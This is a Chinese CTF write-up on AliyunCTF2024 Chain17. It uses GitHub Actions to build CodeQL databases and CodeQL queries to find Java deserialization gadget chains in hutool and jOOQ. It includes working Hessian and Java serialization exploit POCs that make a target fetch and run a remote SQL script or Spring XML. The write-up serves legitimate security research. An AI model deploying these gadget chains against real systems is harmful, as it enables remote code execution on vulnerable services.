bridge

bridge

利用Github Actions生成CodeQL數據庫 -- 以AliyunCTF2024 Chain17的反序列化鏈挖掘為例

背景#

lgtm社群在 2022 年关闭后,CodeQL 只能在本地手动构建,lgtm 则被整合进了Github Code Scanning中。

可以在 Github Action 中使用github/codeql-action来用官方提供的 queries 对 repository 的代码进行扫描,结果会显示为 Code Scanning Alerts。官方文档还提到,可以自定义 QL 语句。但是鄙人根据官方文档的配置尝试多次后并不认为可以自定义 queries((

但是,可以结合actions/upload-artifact这个 action 将构建好的 CodeQL 数据库导出,然后在本地导入,本地查询。

而 CodeQL 数据库的生成需要正确的编译。幸运的是,github code scanning 为我们提供了自动识别编译脚本的功能。

另外,Public repository 的 Actions 是免费的,Private repository 有免费额度。实战中我们 fork 官方的 repository 即可。

题目背景#

题目为两个部分,agent 和 server,都是 old-fashion 的反序列化入口。题目的流程不再赘述,可以移步官方 WP

这里说一下思路

agent#

已知

  • Hessian 反序列化 Map 的时候会调用 Map.put
  • cn.hutool.json.JSONObject#put ("foo", AtomicReference) -> AtomicReference#toString,注意 AtomicReference 是 JDK 的内部类才能调用 toString,否则会根据属性调用 getter
  • POJONode.toString -> Bean.getObject
  • Bean.getObject 返回 object 后,jackson 会调用 object 的所有 getter(根据 getter 名字)

所以就需要找一条 getter2RCE 的链子并绕过黑名单。给了 h2 依赖,容易想到JDBC Connection URL Attack | 素十八 (su18.org)

也就是需要寻找 hutool 库中 getter -> DriverManager.getConnection 的链子

server#

已知

  • XString#toString -> POJONode#toString -> getter

需要找 jOOQ 库中 getter -> RCE 的链子

Hacking With Github Actions#

agent#

云编译#

fork 仓库dromara/hutool: 🍬A set of tools that keep Java sweet. (github.com)

Actions 中选择 codeql

Pasted image 20240327230243

修改一下.github/workflows/codeql.yml

# 对于大多数项目,此工作流文件无需更改;您只需
# 将其提交到您的存储库。
#
# 您可能希望更改此文件以覆盖分析的语言集,
# 或提供自定义查询或构建逻辑。
#
# ******** 注意 ********
# 我们已尝试检测您存储库中的语言。请检查
# 下面定义的`language`矩阵,以确认您拥有正确的
# 支持的CodeQL语言集。
#
name: "CodeQL"

on:
  push:
    branches: [ "v5-master" ]
  pull_request:
    branches: [ "v5-master" ]

jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    # Runner大小会影响CodeQL分析时间。要了解更多信息,请参见:
    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
    #   - https://gh.io/supported-runners-and-hardware-resources
    #   - https://gh.io/using-larger-runners
    # 考虑使用更大的runner以可能改善分析时间。
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      # 所有工作流所需
      security-events: write

      # 仅在私有存储库中的工作流所需
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: none # 此模式仅分析Java。将其设置为'autobuild'或'manual'以分析Kotlin。
        # CodeQL支持以下值关键字用于'languages':'c-cpp','csharp','go','java-kotlin','javascript-typescript','python','ruby','swift'
        # 使用`c-cpp`分析用C、C++或两者编写的代码
        # 使用'java-kotlin'分析用Java、Kotlin或两者编写的代码
        # 使用'javascript-typescript'分析用JavaScript、TypeScript或两者编写的代码
        # 要了解有关更改分析的语言或自定义分析的构建模式的更多信息,
        # 请参见https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning。
        # 如果您正在分析编译语言,您可以修改该语言的'build-mode'以自定义
        # 您的代码库的分析方式,见https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4

    # 初始化CodeQL工具以进行扫描。
    - uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}
        # 如果您希望指定自定义查询,可以在此处或在配置文件中进行。
        # 默认情况下,此处列出的查询将覆盖配置文件中指定的任何查询。
        # 在此处将列表前缀为"+"以使用这些查询和配置文件中的查询。

        # 有关CodeQL查询包的更多详细信息,请参见:https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
        # queries: security-extended,security-and-quality
    # 如果分析步骤因您正在分析的语言之一而失败
    # "我们无法自动构建您的代码",请修改上面的矩阵
    # 将该语言的构建模式设置为"manual"。然后修改此步骤
    # 以构建您的代码。
    # ℹ️ 使用操作系统shell运行的命令行程序。
    # 📚 请参见https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
    - if: matrix.build-mode == 'manual'
      run: |
        echo '如果您对一个或多个正在分析的语言使用"manual"构建模式,请将其替换为构建' \
          '您的代码的命令,例如:'
        echo '  make bootstrap'
        echo '  make release'
        exit 1

    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: hutool-code-database
        path: /home/runner/work/_temp/codeql_databases/

运行完毕后就能得到数据库文件

Pasted image 20240327231539

利用链#

codeql 导入后用这个 ql

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow
class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class GetConnectionMethod extends Method {
  GetConnectionMethod() {
    this.hasName("getConnection") and
    this.getDeclaringType().hasQualifiedName("java.sql", "DriverManager")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof GetConnectionMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

可能会有点误报,但是 sink 是准的

Pasted image 20240327232614

PooledDSFactory#getDataSource -> PooledConnection#init -> DriverManager.getConnection

POC#

final String JDBC_URL = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql'";  
  
Setting setting = new Setting();  
setting.set("url", JDBC_URL);  
setting.set("initialSize", "1");  
setting.setCharset(null);  
PooledDSFactory factory = new PooledDSFactory(setting);  
  
Bean bean = new Bean();  
bean.setData(ReflectUtils.serialize(factory));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
  
POJONode node = new POJONode(bean);  
AtomicReference atomicReference = new AtomicReference<>(node);  
JSONObject json = new JSONObject();  
json.put("1", "2");  
LinkedHashMap map = new LinkedHashMap();  
map.put("1", atomicReference);  
  
ReflectUtils.setFieldValue(json, "raw", map);  
  
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();  
Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);  
hessian2Output.writeObject(json);  
hessian2Output.close();  
  
byte[] data = byteArrayOutputStream.toByteArray();  
System.out.println(Base64.getEncoder().encodeToString(data));

server#

比赛的时候就止步于此了((

云编译#

同样给出 codeql.yml,这里设置了 jdk 版本

# 对于大多数项目,此工作流文件无需更改;您只需
# 将其提交到您的存储库。
#
# 您可能希望更改此文件以覆盖分析的语言集,
# 或提供自定义查询或构建逻辑。
#
# ******** 注意 ********
# 我们已尝试检测您存储库中的语言。请检查
# 下面定义的`language`矩阵,以确认您拥有正确的
# 支持的CodeQL语言集。
#
name: "CodeQL"

on:
  push:
    branches: [ "main" ]
  pull_request:
    branches: [ "main" ]
jobs:
  analyze:
    name: Analyze (${{ matrix.language }})
    # Runner大小会影响CodeQL分析时间。要了解更多信息,请参见:
    #   - https://gh.io/recommended-hardware-resources-for-running-codeql
    #   - https://gh.io/supported-runners-and-hardware-resources
    #   - https://gh.io/using-larger-runners
    # 考虑使用更大的runner以可能改善分析时间。
    runs-on: ${{ (matrix.language == 'swift' && 'macos-latest') || 'ubuntu-latest' }}
    timeout-minutes: ${{ (matrix.language == 'swift' && 120) || 360 }}
    permissions:
      # 所有工作流所需
      security-events: write

      # 仅在私有存储库中的工作流所需
      actions: read
      contents: read

    strategy:
      fail-fast: false
      matrix:
        include:
        - language: java-kotlin
          build-mode: autobuild
        # CodeQL支持以下值关键字用于'languages':'c-cpp','csharp','go','java-kotlin','javascript-typescript','python','ruby','swift'
        # 使用`c-cpp`分析用C、C++或两者编写的代码
        # 使用'java-kotlin'分析用Java、Kotlin或两者编写的代码
        # 使用'javascript-typescript'分析用JavaScript、TypeScript或两者编写的代码
        # 要了解有关更改分析的语言或自定义分析的构建模式的更多信息,
        # 请参见https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning。
        # 如果您正在分析编译语言,您可以修改该语言的'build-mode'以自定义
        # 您的代码库的分析方式,见https://docs.github.com/en/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/codeql-code-scanning-for-compiled-languages
    steps:
    - name: Checkout repository
      uses: actions/checkout@v4
    - name: Setup Java JDK
      uses: actions/[email protected]
      with:
        java-version: '17'
        distribution: 'oracle'
          
    # 初始化CodeQL工具以进行扫描。
    - name: Initialize CodeQL
      uses: github/codeql-action/init@v3
      with:
        languages: ${{ matrix.language }}
        build-mode: ${{ matrix.build-mode }}
        # 如果您希望指定自定义查询,可以在此处或在配置文件中进行。
        # 默认情况下,此处列出的查询将覆盖配置文件中指定的任何查询。
        # 在此处将列表前缀为"+"以使用这些查询和配置文件中的查询。

        # 有关CodeQL查询包的更多详细信息,请参见:https://docs.github.com/en/code-security/code-scanning/automatically-scanning-your-code-for-vulnerabilities-and-errors/configuring-code-scanning#using-queries-in-ql-packs
        # queries: security-extended,security-and-quality

    # 如果分析步骤因您正在分析的语言之一而失败
    # "我们无法自动构建您的代码",请修改上面的矩阵
    # 将该语言的构建模式设置为"manual"。然后修改此步骤
    # 以构建您的代码。
    # ℹ️ 使用操作系统shell运行的命令行程序。
    # 📚 请参见https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#jobsjob_idstepsrun
    - if: matrix.build-mode == 'manual'
      run: |
        echo '如果您对一个或多个正在分析的语言使用"manual"构建模式,请将其替换为构建' \
          '您的代码的命令,例如:'
        echo '  make bootstrap'
        echo '  make release'
        exit 1
    - name: Perform CodeQL Analysis
      uses: github/codeql-action/analyze@v3
      with:
        category: "/language:${{matrix.language}}"
    - name: Upload CodeQL database as artifact
      uses: actions/upload-artifact@v4
      with:
        name: codeql-database-${{ matrix.language }}
        path: /home/runner/work/_temp/codeql_databases/

利用链#

代码搜索可以发现 ConvertAll#from 可以调用 constructor,可以使用 ClassPathXmlApplicationContext

本地 ql 查询 getter -> from

/**
 * @kind path-problem
 */

import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.DataFlow

class Getter extends Method {
  Getter() { this.getName().regexpMatch("get.+") 
  and 
  this.getNumberOfParameters() = 0 
  and
  this.isPublic()
  }
}

class Source extends Callable {
  Source() {
    this instanceof Getter and getDeclaringType().getASupertype*() instanceof TypeSerializable
  }
}

class SinkMethod extends Method {
  SinkMethod() {
    this.hasName("from")
    and
    this.getNumberOfParameters() = 2
    and
    this.getDeclaringType().hasName("ConvertAll")
  }
}

class DangerousMethod extends Callable {
  DangerousMethod() { this instanceof SinkMethod }
}

class CallsDangerousMethod extends Callable {
  CallsDangerousMethod() {
    exists(Callable a |
      this.polyCalls(a) and
      a instanceof DangerousMethod
    )
  }
}

query predicate edges(Callable a, Callable b) {
  a.polyCalls(b)
}

from Source source, CallsDangerousMethod sink
where edges+(source, sink)
select source, source, sink, "$@ $@ to $@ $@", source.getDeclaringType(),
  source.getDeclaringType().getName(), source, source.getName(), sink.getDeclaringType(),
  sink.getDeclaringType().getName(), sink, sink.getName()

误报还是很多(

Pasted image 20240327233957

观察这几个类可以构造如下链子

ConvertedVal{
  name:AbstractName.NO_NAME,
  comment:CommentImpl.NO_COMMENT
  delegate:QualifiedRecordConstant{
    value:"url",
  }
  type:ConvertedDataType{
    binding:ChainedConverterBinding{
      chained:ConvertAll{
        toClass:ClassPathXmlApplicationContext.class,
        toType:Integer.class
      }
    }
    delegate:DefaultDataType{
      utype:String.class
      tType:String.class
    }
  }
}

POC#

final String URL = "http://127.0.0.1:8000/poc.xml";  
  
Object convertAll = ReflectUtils.createWithoutConstructor("org.jooq.impl.Convert$ConvertAll");  
ReflectUtils.setFieldValue(convertAll, "toClass", ClassPathXmlApplicationContext.class);  
ReflectUtils.setFieldValue(convertAll, "toType", Integer.class);  
Object chainedConverterBinding = ReflectUtils.createWithoutConstructor("org.jooq.impl.ChainedConverterBinding");  
ReflectUtils.setFieldValue(chainedConverterBinding, "chained", convertAll);  
Object convertedDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedDataType");  
ReflectUtils.setFieldValue(convertedDataType, "binding", chainedConverterBinding);  
Object defaultDataType = ReflectUtils.createWithoutConstructor("org.jooq.impl.DefaultDataType");  
ReflectUtils.setFieldValue(defaultDataType, "uType", String.class);  
ReflectUtils.setFieldValue(defaultDataType, "tType", String.class);  
ReflectUtils.setFieldValue(convertedDataType, "delegate", defaultDataType);  
Object qualifiedRecordConstant = ReflectUtils.createWithoutConstructor("org.jooq.impl.QualifiedRecordConstant");  
ReflectUtils.setFieldValue(qualifiedRecordConstant, "value", URL);  
Object convertedVal = ReflectUtils.createWithoutConstructor("org.jooq.impl.ConvertedVal");  
ReflectUtils.setFieldValue(convertedVal, "delegate", qualifiedRecordConstant);  
ReflectUtils.setFieldValue(convertedVal, "type", convertedDataType);  
ReflectUtils.setFieldValue(convertedVal, "name", ReflectUtils.newInstance("org.jooq.impl.UnqualifiedName", ""));  
ReflectUtils.setFieldValue(convertedVal, "comment", ReflectUtils.newInstance("org.jooq.impl.CommentImpl", ""));  
  
ClassPool classPool = ClassPool.getDefault();  
CtClass ctClass = classPool.get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
CtMethod ctMethod = ctClass.getDeclaredMethod("writeReplace");  
ctClass.removeMethod(ctMethod);  
ctClass.toClass();  
POJONode node = new POJONode(convertedVal);  
  
XString xString = new XString("");  
HashMap map1 = new HashMap();  
HashMap map2 = new HashMap();  
map1.put("yy", node);  
map1.put("zZ", xString);  
map2.put("yy", xString);  
map2.put("zZ", node);  
  
HashMap gadget = ReflectUtils.deserialize2HashCode(map1, map2);  
  
byte[] poc = ReflectUtils.serialize(gadget);  
ReflectUtils.deserialize(poc);

后记#

补充知识#

官方 WP 给了 JDK17 下 readObject -> toString 的 gadget

EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) ReflectUtil.getFieldValue(undoManager, "edits");
vector.add(pojoNode);
ReflectUtil.setFieldValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});

在本文给出的 POC 中我用到了 XString,在编写 POC 的时候有模块隔离,但是在反序列化的时候是正常的。这也是咱们 DubheCTF 2024 用到的 gadget

Javolution 出题小记 | H4cking to the Gate . (h4cking2thegate.github.io)

有人发出了又菜又爱叫的声音#

严重觉得 jOOQ overdesign,而且所有的类写在同一个包里,而且还有 deadcode...

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。